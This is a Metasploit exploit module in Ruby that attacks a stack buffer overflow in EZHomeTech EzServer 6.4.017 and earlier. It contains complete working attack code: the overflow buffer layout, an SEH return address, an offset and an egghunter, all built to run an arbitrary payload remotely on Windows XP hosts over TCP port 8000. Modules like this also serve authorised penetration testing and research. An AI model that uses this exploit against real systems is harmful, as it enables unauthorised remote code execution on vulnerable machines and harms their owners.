##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Egghunter
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',
   'Description'    => %q{
    This module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious
    user sends packets containing an overly long string, it may be possible to execute a
    payload remotely. Due to size constraints, this module uses the Egghunter technique.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module
    ],
   'References'     =>
    [
     [ 'EDB', '19266' ],
     [ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]
    ],
   'DefaultOptions' =>
    {
     'ExitFunction' => 'seh'
    },
   'Platform'       => 'win',
   'Payload'        =>
    {
     'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
     'DisableNops' => true
    },
   'Targets'        =>
    [
     [ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
      {
       'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll
       'Offset' => 5852
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jun 18 2012',
   'DefaultTarget'  => 0))

  register_options([Opt::RPORT(8000)], self.class)

 end

 def exploit
  connect
  eggoptions =
  {
   :checksum => true,
   :eggtag => "w00t"
  }

  hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
  egg = hunter[1]
  buff = rand_text(target['Offset'] - egg.length) #junk
  buff << egg
  buff << make_nops(32)
  buff << generate_seh_record(target.ret)
  buff << make_nops(16)
  buff << hunter[0]
  buff << rand_text_alpha_upper(500)

  print_status("Triggering shellcode now...")
  print_status("Please be patient, the egghunter may take a while..")

  sock.put(buff)

  handler
  disconnect

 end
end